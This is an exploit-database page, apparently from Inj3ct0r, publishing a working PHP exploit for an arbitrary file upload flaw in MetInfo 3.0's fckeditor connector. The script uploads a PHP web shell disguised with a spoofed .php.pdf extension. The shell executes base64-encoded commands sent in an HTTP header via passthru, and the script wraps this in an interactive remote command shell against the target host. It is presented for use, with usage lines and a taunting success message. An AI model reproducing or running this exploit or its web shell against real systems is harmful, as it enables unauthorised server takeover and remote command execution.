Home / os / win7

[webapps / 0day] - MetInfo 3.0 (fckeditor) Arbitrary File Up

Posted on 02 November 2010

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>MetInfo 3.0 (fckeditor) Arbitrary File Upload Vulnerability | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='MetInfo 3.0 (fckeditor) Arbitrary File Upload Vulnerability by [sh3n] in webapps / 0day | Inj3ct0r - exploit database : vulnerability : 0day : shellcode' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var _gaq = _gaq || [];_gaq.push(["_setAccount", "UA-12725838-1"]);_gaq.push(["_trackPageview"]);(function(){var ga = document.createElement("script"); ga.type = "text/javascript"; ga.async = true;ga.src = ("https:" == document.location.protocol ? "https://ssl" : "http://www") + ".google-analytics.com/ga.js";var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(ga, s);})();</script></head><body><pre>===========================================================
MetInfo 3.0 (fckeditor) Arbitrary File Upload Vulnerability
===========================================================

# Exploit Title: [MetInfo 3.0 (fckeditor) File Upload Exploit]
# Date: [02-11-2010]
# Author: [sh3n]
# Software Link: [http://www.metinfo.cn/upload/file/metinfo3.0.zip]
# Version: [3.0]
# Tested on: [BT4 Ubuntu, Windows 7 Ultimate]
# Exploit:
&lt;?php
/*
MetInfo 3.0 Arbitrary File Upload Exploit
Vulnerable code metinfo.pe/fckeditor/editor/filemanager/connectors/php/upload.php
POC=&gt;metinfo.pe/fckeditor/editor/filemanager/connectors/uploadtest.html
POC=&gt;metinfo.pe/upload
Upload your shell.php.pdf (spoof ext.) will saved into /upload dir.
by sh3n http://guideshen.blogspot.com - @Guide_Shen - http://xsstorm.blogspot.com
*/
error_reporting(0);
set_time_limit(0);
ini_set(&quot;default_socket_timeout&quot;, 5);
function http_send($host, $packet)
{
 $sock = fsockopen($host, 80);
 while (!$sock)
 {
  print &quot;
[-] No response from {$host}:80 Trying again...&quot;;
  $sock = fsockopen($host, 80);
 }
 fputs($sock, $packet);
 while (!feof($sock)) $resp .= fread($sock, 1024);
 fclose($sock);
 return $resp;
}
print &quot;
+------------------------------------------------------------+&quot;;
print &quot;
|        MetInfo 3.0 File Upload (fckeditor) sh3n            |&quot;;
print &quot;
+------------------------------------------------------------+
&quot;;
if ($argc &lt; 2)
{
 print &quot;
Usage......: php $argv[0] metinfo.pe path&quot;;
 print &quot;
Example....: php $argv[0] localhost /fckeditor/
&quot;;
 die();
}
$host = $argv[1];
$path = $argv[2];
$data  = &quot;--xSsT0rm
&quot;;
$data .= &quot;Content-Disposition: form-data; name=&quot;NewFile&quot;; filename=&quot;sh3n.php.pdf&quot;
&quot;;
$data .= &quot;Content-Type: application/octet-stream

&quot;;
$data .= &quot;&lt;?php ${print(_code_)}.${passthru(base64_decode($_SERVER[HTTP_CMD]))}.${print(_code_)} ?&gt;
&quot;;
$data .= &quot;----xSsT0rm--
&quot;;
$packet  = &quot;POST {$path}/fckeditor/editor/filemanager/connectors/php/upload.php HTTP/1.0
&quot;;
$packet .= &quot;Host: {$host}
&quot;;
$packet .= &quot;Content-Length: &quot;.strlen($data).&quot;
&quot;;
$packet .= &quot;Content-Type: multipart/form-data; boundary=xSsT0rm
&quot;;
$packet .= &quot;Connection: close

&quot;;
$packet .= $data;
preg_match(&quot;/OnUploadCompleted((.*),&quot;(.*)&quot;,&quot;(.*)&quot;,/i&quot;, http_send($host, $packet), $html);
if (!in_array(intval($html[1]), array(0, 201))) die(&quot;
[-] Upload failed! (Error {$html[1]})
&quot;);
else print &quot;
[-] Shell uploaded to {$html[2]}...have phun!
&quot;;
define(STDIN, fopen(&quot;php://stdin&quot;, &quot;r&quot;));
while(1)
{
 print &quot;
sh3n-box# &quot;;
 $cmd = trim(fgets(STDIN));
 if ($cmd != &quot;exit&quot;)
 {
  $packet = &quot;GET {$path}upload/{$html[3]} HTTP/1.0
&quot;;
  $packet.= &quot;Host: {$host}
&quot;;
  $packet.= &quot;Cmd: &quot;.base64_encode($cmd).&quot;
&quot;;
  $packet.= &quot;Connection: close

&quot;;
  $output = http_send($host, $packet);
  if (eregi(&quot;print&quot;, $output) || !eregi(&quot;_code_&quot;, $output)) die(&quot;
[-] Exploit failed...
&quot;);
  $shell = explode(&quot;_code_&quot;, $output);
  print &quot;
{$shell[1]}&quot;;
 }
 else break;
}
?&gt;


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-11-02]</pre></body></html>

 

TOP

Malware :

Exploits :